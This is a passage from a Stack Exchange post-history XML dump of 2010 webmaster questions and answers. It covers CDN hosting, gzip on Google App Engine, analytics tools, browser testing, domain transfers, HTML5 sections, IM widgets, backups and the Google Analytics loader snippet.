the cookies the difference can be much more significant, especially if any of your users access the site via slow connections (i.e. GPRS through tethering to a mobile, or an over-crowded wifi link in a high interference area).&#xD;&#xA;&#xD;&#xA;To summarize, for scripts that must be loaded before the page can render my preferences would be:&#xD;&#xA;&#xD;&#xA;1. ajax.googleapis.com, or similar&#xD;&#xA;2. original hostname of the calling page&#xD;&#xA;3. static cookie-less domain&#xD;&#xA;&#xD;&#xA;For resources that are not essential for initial page rendering, refer to them as late as possible and reverse the above list of preference (though the difference between original hostname and cookie-less domain is most likely not significant unless you are operating on a massive scale)." />
  <row Id="3455" PostHistoryTypeId="2" PostId="1866" RevisionGUID="3ddd5346-9bda-4d1b-b55e-b574b4ce9552" CreationDate="2010-08-03T18:19:45.823" UserId="480" Text="Some clients are appearing on our Google App Engine instances without the Accept-Encoding header. We normally use the [set a cookie with an appended iframe technique][1] (or variation thereof) to detect these and send the correct gzipped content.&#xD;&#xA;&#xD;&#xA;As Google App Engine does not let you control server side gzip, especially on static content, is there a specific cookie value to set which will force compression?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.kenweiner.com/2009/08/serving-gzipped-javascript-files-from.html" />
  <row Id="3456" PostHistoryTypeId="1" PostId="1866" RevisionGUID="3ddd5346-9bda-4d1b-b55e-b574b4ce9552" CreationDate="2010-08-03T18:19:45.823" UserId="480" Text="Forced GZIP Detection on Google App Engine" />
  <row Id="3457" PostHistoryTypeId="3" PostId="1866" RevisionGUID="3ddd5346-9bda-4d1b-b55e-b574b4ce9552" CreationDate="2010-08-03T18:19:45.823" UserId="480" Text="&lt;cookie&gt;&lt;gzip&gt;&lt;google-app-engine&gt;" />
  <row Id="3458" PostHistoryTypeId="2" PostId="1867" RevisionGUID="d11a15ba-d195-4fbc-b37f-4801f36f37fd" CreationDate="2010-08-03T18:40:13.797" UserId="536" Text="Some server side tools:&#xD;&#xA;&#xD;&#xA; - &lt;a href=&quot;http://awstats.sourceforge.net/&quot;&gt;AWStats&lt;/a&gt;&#xD;&#xA; - &lt;a href=&quot;http://www.webalizer.org/&quot;&gt;Webalizer&lt;/a&gt;&#xD;&#xA; - &lt;a href=&quot;http://www.boutell.com/wusage/&quot;&gt;Wusage&lt;/a&gt; (used to be free but it looks like they've changed their model)&#xD;&#xA;&#xD;&#xA;A key difference between server side analysis and javascript based analysis is that the js versions will fire a request when a user reloads a page in the browser cache. The server side versions will report only what comes to the server. Neither is inherently &quot;better&quot; - just different. Wikipedia's article on &lt;a href=&quot;http://en.wikipedia.org/wiki/Web_analytics&quot;&gt;web analytics&lt;/a&gt; discusses this further" />
  <row Id="3459" PostHistoryTypeId="2" PostId="1868" RevisionGUID="fa8be6f1-e43d-4270-99d9-dbadf10ab59b" CreationDate="2010-08-03T18:44:29.953" UserId="1111" Text="Piwik is a very good solution and i would suggest you the same - but you can also take a look at FireStats[1]. Since the last update it supports tracking with JavaScript. Maybe thats enough for your needs.&#xD;&#xA;&#xD;&#xA;[1] http://firestats.cc/" />
  <row Id="3460" PostHistoryTypeId="2" PostId="1869" RevisionGUID="39e75ae1-0f54-47da-be2f-5b53fffc6b05" CreationDate="2010-08-03T18:56:39.263" UserId="536" Text="My list of browsers that I test is substantially the same as many of the answers here, but none of these really tell you which **you** should test.&#xD;&#xA;&#xD;&#xA;You should examine your logs or other web analytics data to see which browsers your users are using. My sites' users are generally non-technical -- we have higher than average use of IE6 (*sigh*) but virtually no visits from Opera. A Mac news site like &lt;a href=&quot;http://www.daringfireball.net&quot;&gt;Daring Fireball&lt;/a&gt; is disproportionately Mac/Safari and probably has single digit percentage for all IE versions combined.&#xD;&#xA;&#xD;&#xA;Look at the aggregate numbers. Test for the browser versions which get you to *at least* 99% of your traffic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;A couple more notes:&#xD;&#xA;&#xD;&#xA;* If you get Mac traffic, test on a Mac. Don't assume that Safari, Firefox and Chrome will render the same on Windows. The same goes for Linux.&#xD;&#xA;* Even if the CEO or some other important person is the only one viewing your site on a Blackberry, then you might consider testing that as well." />
  <row Id="3461" PostHistoryTypeId="2" PostId="1870" RevisionGUID="89ba8676-0f3e-496c-bd76-b45fd0a77325" CreationDate="2010-08-03T19:02:39.160" UserId="1074" Text="I'm in this boat too....my company builds a SAAS application for marketers who in turn sell the product to their clients.  Needless to say, the multiple depths can get pretty crazy in a hurry when you're trying to distribute customized info such as analytics.  Here's how we clobbered the problem:&#xD;&#xA;&#xD;&#xA;Like you, analytics hosted on the server were eating processor time alive.  So, we --did-- do Google Analytics...it was just easiest for us and meant that we could leave the server processes for running our application, which is already working the server pretty hard....and it didn't hurt that it was free.  To tackle the problem of access, we put (most) everything under one main account, then use the API to call data into the application based on the GA specific information for that site.  Sure, there's a little bit of setup involved, but the result is good quality reporting that truly LOOKS custom, which we can then turn around and market as a custom feature.&#xD;&#xA;&#xD;&#xA;Here's the concept pulled off in an online tut:  [http://freshwebtrends.com/show-off-your-google-analytics-on-your-site/13/][1]  In our case, we used HighCharts (http://www.highcharts.com/) for charting because it's faster and better than flash, and styled the page with Jquery UI tabs as well as Datatables ([http://datatables.net/][2]) grid-sorters.  All our data is pulled via direct API call to Google.&#xD;&#xA;&#xD;&#xA;On a separate note, we do take advantage of Adobe Air reporting for our most valued and largest clients.  It's a GREAT interface and allows them to quickly jump around very easy to read reports from a desktop icon.  Here's a link:  [http://www.makeuseof.com/tag/view-your-google-analytics-account-using-adobe-air/][3]&#xD;&#xA;&#xD;&#xA;Obviously, there are many options out there to consider.  This one just happened to work the best for my company.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://freshwebtrends.com/show-off-your-google-analytics-on-your-site/13/&#xD;&#xA;  [2]: http://datatables.net/&#xD;&#xA;  [3]: http://www.makeuseof.com/tag/view-your-google-analytics-account-using-adobe-air/" />
  <row Id="3462" PostHistoryTypeId="4" PostId="579" RevisionGUID="40630b8a-4818-4341-9e13-d655179a25db" CreationDate="2010-08-03T19:35:02.230" UserId="40" Comment="edited tags; edited title" Text="Are there any downsides of including google-analytics on your website?" />
  <row Id="3463" PostHistoryTypeId="6" PostId="579" RevisionGUID="40630b8a-4818-4341-9e13-d655179a25db" CreationDate="2010-08-03T19:35:02.230" UserId="40" Comment="edited tags; edited title" Text="&lt;google-analytics&gt;&lt;legal&gt;&lt;usability&gt;" />
  <row Id="3464" PostHistoryTypeId="2" PostId="1871" RevisionGUID="d417d46d-1a78-46d6-9a35-575629f865d4" CreationDate="2010-08-03T19:38:50.303" UserDisplayName="Globalkeith" Text="If you're looking for quick easy get started, and good price, I cant [recommend Heroku strongly enough][1] because they enable you to create and upload your application for free and only once it starts getting traffic and you are in a position to monetise it do they start charging.&#xD;&#xA;&#xD;&#xA;I wasted a fair amount of cash last year with a few small apps I was trying out, and engineyard charged me a fortune for them. I'm sure if you have a large application that is already a success then its fine. Didnt think much of their sales support team either.&#xD;&#xA;&#xD;&#xA;So far Heroku have been wonderful, product support is polite and prompt - sometimes takes a little while to answer but I'm sure if you are a paying customer you'd get better service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://heroku.com" />
  <row Id="3465" PostHistoryTypeId="16" PostId="1871" RevisionGUID="d417d46d-1a78-46d6-9a35-575629f865d4" CreationDate="2010-08-03T19:38:50.303" UserId="-1" />
  <row Id="3466" PostHistoryTypeId="2" PostId="1872" RevisionGUID="2cd907ba-4385-4cec-9bd9-6f8f3aa54b58" CreationDate="2010-08-03T19:40:28.663" UserId="760" Text="I tend to just follow A-grade supported browser from Yahoo! for testing.  Though I no longer spend much time fixing anything minor on IE6.&#xD;&#xA;&#xD;&#xA;[Graded Browser Support][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yui/articles/gbs/" />
  <row Id="3467" PostHistoryTypeId="5" PostId="1869" RevisionGUID="e15f30b5-85a9-4ef3-98bd-afece2741764" CreationDate="2010-08-03T20:33:51.677" UserId="536" Comment="clarified wording" Text="My list of browsers that I test is substantially the same as many of the answers here, but none of these really tell you which **you** should test.&#xD;&#xA;&#xD;&#xA;You should examine your logs or other web analytics data to see which browsers your users are using. My sites' users are generally non-technical -- we have higher than average use of IE6 (*sigh*) but virtually no visits from Opera. A Mac news site like &lt;a href=&quot;http://www.daringfireball.net&quot;&gt;Daring Fireball&lt;/a&gt; is disproportionately Mac/Safari and probably has single digit percentage for all IE versions combined.&#xD;&#xA;&#xD;&#xA;Look at the aggregate numbers. Test for the browser versions which combine for *at least* 99% of your traffic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;A couple more notes:&#xD;&#xA;&#xD;&#xA;* If you get Mac traffic, test on a Mac. Don't assume that Safari, Firefox and Chrome will render the same on Windows. The same goes for Linux.&#xD;&#xA;* Even if the CEO or some other important person is the only one viewing your site on a Blackberry, then you might consider testing that as well." />
  <row Id="3468" PostHistoryTypeId="2" PostId="1873" RevisionGUID="15f56858-0f66-4786-949c-703a0b31802b" CreationDate="2010-08-03T22:07:28.103" UserId="59" Text="What's the general process to transfer domain **ownership** from one organization (or individual) to another?  Is there a good reference on doing this?&#xD;&#xA;&#xD;&#xA;Note: I'm not referring to moving a domain from one registrar to another, only. I mean transferring **legal ownership** of the *domain name itself* to a completely new owner.  Assume the new domain owner does business with a **different** registrar." />
  <row Id="3469" PostHistoryTypeId="1" PostId="1873" RevisionGUID="15f56858-0f66-4786-949c-703a0b31802b" CreationDate="2010-08-03T22:07:28.103" UserId="59" Text="How to transfer domain ownership from one organization (or individual) to another?" />
  <row Id="3470" PostHistoryTypeId="3" PostId="1873" RevisionGUID="15f56858-0f66-4786-949c-703a0b31802b" CreationDate="2010-08-03T22:07:28.103" UserId="59" Text="&lt;domains&gt;&lt;registrar&gt;&lt;ownership&gt;&lt;transfer&gt;" />
  <row Id="3471" PostHistoryTypeId="2" PostId="1874" RevisionGUID="cb677f15-0e39-4231-97af-052878b4d5eb" CreationDate="2010-08-03T22:19:15.093" UserId="18" Text="One important thing to remember is that browsers have limits on how many resources that will download simultaneously from the same domain, typically between 2 and 6 depending on the browser. Using a different domain lets the browser download more things simultaneously from your domain.&#xD;&#xA;&#xD;&#xA;So the best solution is to use a popular CDN like ajax.googleapis.com as that way there are no cookies. The user has probably already done the DNS lookup and may have even cached the resource. CDN's are optimized for speed and probably have a server close to your user.&#xD;&#xA;&#xD;&#xA;If a CDN is not an option then if you have lots of cookies or have lots of resources to download (images etc.) then use a cookie free domain (only needs to do DNS lookup once anyways).&#xD;&#xA;&#xD;&#xA;If you have few resources (just one custom javascript file) and few cookies (just a tiny session id) host from the same domain.&#xD;&#xA;&#xD;&#xA;Good resources:&#xD;&#xA;&#xD;&#xA;http://www.phpied.com/free-falling-waterfalls/&#xD;&#xA;&#xD;&#xA;http://www.stevesouders.com/blog/2009/04/27/loading-scripts-without-blocking/&#xD;&#xA;&#xD;&#xA;http://developer.yahoo.com/performance/rules.html" />
  <row Id="3475" PostHistoryTypeId="2" PostId="1876" RevisionGUID="cd3ce79f-01ca-4b6a-b310-bdb27a61340e" CreationDate="2010-08-03T22:55:41.947" UserId="110" Text="I have been around when this happened, but basically it went down like this&#xD;&#xA;&#xD;&#xA;1.  A bill of sale was written up.  These guys were not local to each other, so it was really an receipt of an online credit card transaction&#xD;&#xA;&#xD;&#xA;2.  The old owner allowed the new owner to transfer the domain name to their own registrar.&#xD;&#xA;&#xD;&#xA;Pretty simple.  If the old owner didn't comply with the transfer, the new owner would dispute the credit card charge.  Once the domain is in the new owners registrar, there is nothing the old owner can do with it.&#xD;&#xA;&#xD;&#xA;Now if that domain was linked to copyrights, trademarks or service marks, probably get a lawyer involved.  However in those cases, the domain name is just an asset of the sale of a business." />
  <row Id="3476" PostHistoryTypeId="2" PostId="1877" RevisionGUID="a017d334-35de-487c-87b0-fff183cd268f" CreationDate="2010-08-03T22:58:02.520" UserId="180" Text="If there is value in the domain name being transferred, you should really consider consulting a lawyer with experience in these matters.&#xD;&#xA;&#xD;&#xA;It's important to ensure that there is a legal agreement between the two parties outlining the terms of the transaction, making warranties about the lack of other claims to the domain, legal encumbrances, claimed infringements, etc.&#xD;&#xA;&#xD;&#xA;As well, it is important to use some form of escrow service when performing the transfer. Basically, these services accept the cash for the transaction, independently confirm that the transfer has taken place, and then release the cash.  While most legal offices can perform escrow, you're probably better off using a service that specializes in this.&#xD;&#xA;" />
  <row Id="3477" PostHistoryTypeId="2" PostId="1878" RevisionGUID="59087318-cf14-4046-afc1-f7e2d72bd9c1" CreationDate="2010-08-03T22:58:39.057" UserId="186" Text="I'm a bit confused by the new HTML5 element, `&lt;section&gt;`. What is the correct way to use it?  &#xD;&#xA;Consider this outline:&#xD;&#xA;&#xD;&#xA;    &lt;article&gt;&#xD;&#xA;      &lt;header&gt;&#xD;&#xA;        &lt;h2&gt;Title&lt;/h2&gt;&#xD;&#xA;        &lt;p&gt;Spiffy tagline&lt;/p&gt;&#xD;&#xA;      &lt;/header&gt;&#xD;&#xA;      &lt;section&gt;&#xD;&#xA;        &lt;p&gt;My content! BLA BLA BLA YADDA YADDA&lt;/p&gt;&#xD;&#xA;        &lt;p&gt;Some more content!&lt;/b&gt;&#xD;&#xA;      &lt;/section&gt;&#xD;&#xA;    &lt;/article&gt;&#xD;&#xA;&#xD;&#xA;Does it make sense?  &#xD;&#xA;What if I had smaller articles, with just a title and a brief text? Would it be (semantically, spec-wise, etc.) to omit the `section`?" />
  <row Id="3478" PostHistoryTypeId="1" PostId="1878" RevisionGUID="59087318-cf14-4046-afc1-f7e2d72bd9c1" CreationDate="2010-08-03T22:58:39.057" UserId="186" Text="When to use SECTION element?" />
  <row Id="3479" PostHistoryTypeId="3" PostId="1878" RevisionGUID="59087318-cf14-4046-afc1-f7e2d72bd9c1" CreationDate="2010-08-03T22:58:39.057" UserId="186" Text="&lt;html5&gt;&lt;standards&gt;&lt;markup&gt;" />
  <row Id="3480" PostHistoryTypeId="2" PostId="1879" RevisionGUID="b8cd4336-bac4-404e-ba93-b3d36bc6de5f" CreationDate="2010-08-03T23:08:38.713" UserId="745" Text="I think you'll find [Dive Into HTML5][1], a book in progress, a great resource. Here's a relevant section on [when and how to use new semantic elements][2]. For your example, I think that you may be able to omit the `&lt;section&gt;` tag.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintohtml5.org&#xD;&#xA;  [2]: http://diveintohtml5.org/semantics.html#new-elements" />
  <row Id="3481" PostHistoryTypeId="2" PostId="1880" RevisionGUID="a798aaa9-315f-405a-bc28-3792c9485aff" CreationDate="2010-08-03T23:08:45.077" UserId="215" Text="Is there a tool that can load a web page and compare the space used (and thus load time) by each file? For example:&#xD;&#xA;&#xD;&#xA;![An example chart][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://imgur.com/Y8rxC.png" />
  <row Id="3482" PostHistoryTypeId="1" PostId="1880" RevisionGUID="a798aaa9-315f-405a-bc28-3792c9485aff" CreationDate="2010-08-03T23:08:45.077" UserId="215" Text="Is there a tool to compare space used by each file of a web page?" />
  <row Id="3483" PostHistoryTypeId="3" PostId="1880" RevisionGUID="a798aaa9-315f-405a-bc28-3792c9485aff" CreationDate="2010-08-03T23:08:45.077" UserId="215" Text="&lt;tools&gt;&lt;bandwidth&gt;&lt;load-time&gt;&lt;recommendations&gt;" />
  <row Id="3484" PostHistoryTypeId="2" PostId="1881" RevisionGUID="6f4f43ad-07b0-4baf-ab62-5d18458ed438" CreationDate="2010-08-03T23:14:52.900" UserId="745" Text="Try [Firebug][1], a plugin for Firefox. You may also find [YSlow][2] useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getfirebug.com/&#xD;&#xA;  [2]: https://addons.mozilla.org/en-US/firefox/addon/5369/" />
  <row Id="3485" PostHistoryTypeId="2" PostId="1882" RevisionGUID="6525fbf7-4b6d-4f9f-951b-6e53532d66e8" CreationDate="2010-08-03T23:17:16.873" UserId="180" Text="If you don't need sections (have small articles) you can just use a bare `&lt;article&gt;` entity around your content.  And when you don't, the section can wrap sub-titles and paragraphs in those sections.&#xD;&#xA;&#xD;&#xA;Check out the [html5 section specs][1].&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    &lt;header&gt;&#xD;&#xA;      &lt;h1&gt;Blog Posts&lt;/h1&gt;&#xD;&#xA;    &lt;/header&gt;&#xD;&#xA;    &lt;article&gt;&#xD;&#xA;      &lt;header&gt;&#xD;&#xA;        &lt;h1&gt;Article Header&lt;/h1&gt;&#xD;&#xA;        &lt;h2&gt;My Awesome Stuff!&lt;/h2&gt;&#xD;&#xA;      &lt;/header&gt;&#xD;&#xA;      &lt;p&gt;My content! BLA BLA BLA YADDA YADDA&lt;/p&gt;&#xD;&#xA;      &lt;p&gt;Some more content!&lt;/b&gt;&#xD;&#xA;    &lt;/article&gt;&#xD;&#xA;    &lt;article&gt;&#xD;&#xA;      &lt;header&gt;&#xD;&#xA;        &lt;h1&gt;Article 2 Header&lt;/h1&gt;&#xD;&#xA;        &lt;h2&gt;More of My Awesome Stuff!&lt;/h2&gt;&#xD;&#xA;      &lt;/header&gt;&#xD;&#xA;      &lt;section&gt;&#xD;&#xA;        &lt;header&gt;&#xD;&#xA;          &lt;h1&gt;Getting started&lt;/h1&gt;&#xD;&#xA;        &lt;/header&gt;&#xD;&#xA;        &lt;p&gt;Getting started text&lt;/p&gt;&#xD;&#xA;      &lt;/section&gt;&#xD;&#xA;      &lt;section&gt;&#xD;&#xA;        &lt;header&gt;&#xD;&#xA;          &lt;h1&gt;Now you're underway&lt;/h1&gt;&#xD;&#xA;        &lt;/header&gt;&#xD;&#xA;        &lt;p&gt;Underway text&lt;/p&gt;&#xD;&#xA;      &lt;/section&gt;&#xD;&#xA;      &lt;section&gt;&#xD;&#xA;        &lt;header&gt;&#xD;&#xA;          &lt;h1&gt;Wrapping up&lt;/h1&gt;&#xD;&#xA;        &lt;/header&gt;&#xD;&#xA;        &lt;p&gt;Wrapping up text&lt;/p&gt;&#xD;&#xA;      &lt;/section&gt;&#xD;&#xA;    &lt;/article&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-section-element" />
  <row Id="3487" PostHistoryTypeId="2" PostId="1884" RevisionGUID="f48b0109-8960-4655-8879-0c3fb1be0d1c" CreationDate="2010-08-04T02:27:52.507" UserId="1217" Text="I recommend open source (PHP - based on Zend Framework) web analytics [Piwik](http://piwik.org/). It is now at version 0.8 and recently get server side tracking API so you can still track those who use noscript or old mobile phones. It's also plugin based so you can explore the [list of available 3rd party plugins](http://dev.piwik.org/trac/query?group=status&amp;milestone=Third+Party+Piwik+Plugins) or build your own. It does click tracking but may not present it easily enough for you, so maybe you do need to write your own plugin for this (don't forget to share it though ;)&#xD;&#xA;&#xD;&#xA;If you don't mind spending some money then I recommend [getclicky](http://getclicky.com/)" />
  <row Id="3488" PostHistoryTypeId="2" PostId="1885" RevisionGUID="c2bacd4d-0ae5-4d0f-888c-7eebc19e0235" CreationDate="2010-08-04T03:18:00.393" UserId="1218" Text="For simplicity, i like [View Dependencies][1], a Firefox extension. Not graphical, but a nice list, just a right-click away. I find Firebug a bit too heavy for what i need to do, and View Dependencies is light.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/2214/" />
  <row Id="3489" PostHistoryTypeId="2" PostId="1886" RevisionGUID="40ed9300-a4c7-417e-b9ff-4aa29e738748" CreationDate="2010-08-04T03:32:31.570" UserId="797" Text="Due to speed limitations, I would treat off-site backup as a secondary backup approach. Amazon's S3 is definitely a good, cost-effective off-site solution, but depending on what you're needing to restore, it can take many hours to get Gigs of content back over to your server to get your sites back up.&#xD;&#xA;&#xD;&#xA;For your primary backup, I'd make sure you are writing backups to a separate physical drive on the same server or another server in the same data center. &#xD;&#xA;&#xD;&#xA;In my experience, the majority of cases where you need your backups are due to human error (i.e. accidently deleting something you need), hard drive corruption, viruses, or hard drive failure. In these cases, being able to get at the data fast is key." />
  <row Id="3490" PostHistoryTypeId="2" PostId="1887" RevisionGUID="8fe67e26-8f2f-47e7-9e1b-d2db21318f5a" CreationDate="2010-08-04T03:48:58.203" UserId="118" Text="I'd like to have a page that communicates directly to some IM service that I will generally be able to be logged into.&#xD;&#xA;&#xD;&#xA;E.g. I am on gtalk all the time, I'd like people to be able to get in touch with me via the website.  (the specific protocol isn't that important, of course)&#xD;&#xA;&#xD;&#xA;What would be the simplest set of technologies to implement that (me at my computer, a guest viewer on a page of my website)?" />
  <row Id="3491" PostHistoryTypeId="1" PostId="1887" RevisionGUID="8fe67e26-8f2f-47e7-9e1b-d2db21318f5a" CreationDate="2010-08-04T03:48:58.203" UserId="118" Text="What is the simplest way to implement an instant messaging contact page on my website?" />
  <row Id="3492" PostHistoryTypeId="3" PostId="1887" RevisionGUID="8fe67e26-8f2f-47e7-9e1b-d2db21318f5a" CreationDate="2010-08-04T03:48:58.203" UserId="118" Text="&lt;website&gt;" />
  <row Id="3493" PostHistoryTypeId="2" PostId="1888" RevisionGUID="a010463b-3dcf-4c5e-9661-59db96824766" CreationDate="2010-08-04T03:52:35.533" UserId="43" Text="I think your best bet is to use [custom post types][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Custom_Post_Types" />
  <row Id="3494" PostHistoryTypeId="2" PostId="1889" RevisionGUID="e9620268-fb14-4b96-bd00-2792428fe94d" CreationDate="2010-08-04T04:40:06.763" UserId="576" Text="Use the [Google Talk chatback widget][1]. You just have to [embed a HTML snippet][2] that they provide.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googletalk.blogspot.com/2008/02/google-talk-chatback.html&#xD;&#xA;  [2]: http://www.google.com/talk/service/badge/New" />
  <row Id="3495" PostHistoryTypeId="2" PostId="1890" RevisionGUID="61473f3b-b86d-478e-ac78-43be503d8bb3" CreationDate="2010-08-04T05:53:14.207" UserId="138" Text="These both have dedicated clients, not jabber (gtalk) clients, but we've had great success with:&#xD;&#xA;&#xD;&#xA;- [Click and Chat][1] (A paid, but cheap, hosted service)&#xD;&#xA;- [Livezilla][2] (A free, self-hosted service)&#xD;&#xA;&#xD;&#xA;The advantage of both of those over Google Talk is that these give you real-time stats about your visits. You can watch, in real time, where your visitors are browsing on your site and when they click the link to chat, you get their full site browsing history at your fingertips, so you can say &quot;I see you're looking at our [x] product, can I give you more information about it&quot;, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.clickandchat.com/&#xD;&#xA;  [2]: http://www.livezilla.net/" />
  <row Id="3496" PostHistoryTypeId="2" PostId="1891" RevisionGUID="55340f3a-f8dc-421e-b7ef-3c1c0d077f37" CreationDate="2010-08-04T05:55:50.020" UserId="1220" Text="I guess this link will work for you, it has various chat programs for websites and blogs.&#xD;&#xA;&#xD;&#xA;[http://im.about.com/od/resources/a/imwidgets.htm][1]&#xD;&#xA;&#xD;&#xA;http://www.99chats.com/ &#xD;&#xA;&#xD;&#xA;http://site.bumpin.com/&#xD;&#xA;&#xD;&#xA;I have used Bumpin, beacause it provides you good admin control, no spam messages on your e-mail id, you can control your users chat and also you can have same account for multiple website.&#xD;&#xA;&#xD;&#xA;  [1]: http://im.about.com/od/resources/a/imwidgets.htm&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3497" PostHistoryTypeId="6" PostId="1887" RevisionGUID="7e98efcd-cf9d-4832-b432-184df40f3263" CreationDate="2010-08-04T06:59:44.880" UserId="55" Comment="edited tags" Text="&lt;website&gt;&lt;user-engagement&gt;" />
  <row Id="3498" PostHistoryTypeId="2" PostId="1892" RevisionGUID="83edcd06-ae3a-4202-8afb-a762293494a3" CreationDate="2010-08-04T07:48:37.157" UserId="480" Text="Why does Google Analytics use document.location.protocol to detect an SSL page?&#xD;&#xA;&#xD;&#xA;The boilerplate for tracking is:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;&#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;      _gaq.push(['_setAccount', 'UA-XXXXX-X']);&#xD;&#xA;      _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;instead of&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;&#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;      _gaq.push(['_setAccount', 'UA-XXXXX-X']);&#xD;&#xA;      _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = '//www.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;The ssl. sub-domain is a mute argument as https://www.google-analytics.com/ga.js works perfectly well.&#xD;&#xA;&#xD;&#xA;Knowing Google this most likely is not an oversight. Is there an issue with certain browsers not supporting the // protocol honouring shorthand or something I'm missing?" />
  <row Id="3499" PostHistoryTypeId="1" PostId="1892" RevisionGUID="83edcd06-ae3a-4202-8afb-a762293494a3" CreationDate="2010-08-04T07:48:37.157" UserId="480" Text="Why does Google Analytics use document.location.protocol?" />
  <row Id="3500" PostHistoryTypeId="3" PostId="1892" RevisionGUID="83edcd06-ae3a-4202-8afb-a762293494a3" CreationDate="2010-08-04T07:48:37.157" UserId="480" Text="&lt;javascript&gt;&lt;google-analytics&gt;&lt;ssl&gt;" />
  <row Id="3501" PostHistoryTypeId="5" PostId="1892" RevisionGUID="a94bdaaf-4021-45c1-ba64-d70e7c40e3d3" CreationDate="2010-08-04T08:24:47.227" UserId="480" Comment="deleted 21 characters in body; edited title; added 14 characters in body" Text="For instance Google Analytics uses document.location.protocol in the boilerplate for tracking:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;&#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;      _gaq.push(['_setAccount', 'UA-XXXXX-X']);&#xD;&#xA;      _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;instead of&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;&#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;      _gaq.push(['_setAccount', 'UA-XXXXX-X']);&#xD;&#xA;      _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = '//www.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;The ssl. sub-domain is a mute argument as https://www.google-analytics.com/ga.js works perfectly well.&#xD;&#xA;&#xD;&#xA;Knowing Google this most likely is not an oversight. Is there an issue with certain browsers not supporting the // protocol honouring shorthand or is there something else I'm missing?" />
  <row Id="3502" PostHistoryTypeId="4" PostId="1892" RevisionGUID="a94bdaaf-4021-45c1-ba64-d70e7c40e3d3" CreationDate="2010-08-04T08:24:47.227" UserId="480" Comment="deleted 21 characters in body; edited title; added 14 characters in body" Text="Why would you use document.location.protocol instead of plain // prefixed urls?" />
  <row Id="3503" PostHistoryTypeId="11" PostId="1619" RevisionGUID="6976b48e-0ef1-477f-b3c2-a65da69eea4c" CreationDate="2010-08-04T08:42:45.333" UserId="55" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3504" PostHistoryTypeId="10" PostId="1619" RevisionGUID="d9cceda8-090c-45ed-a09a-d009467ebf84" CreationDate="2010-08-04T08:42:55.647" UserId="55" CloseReasonId="2" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
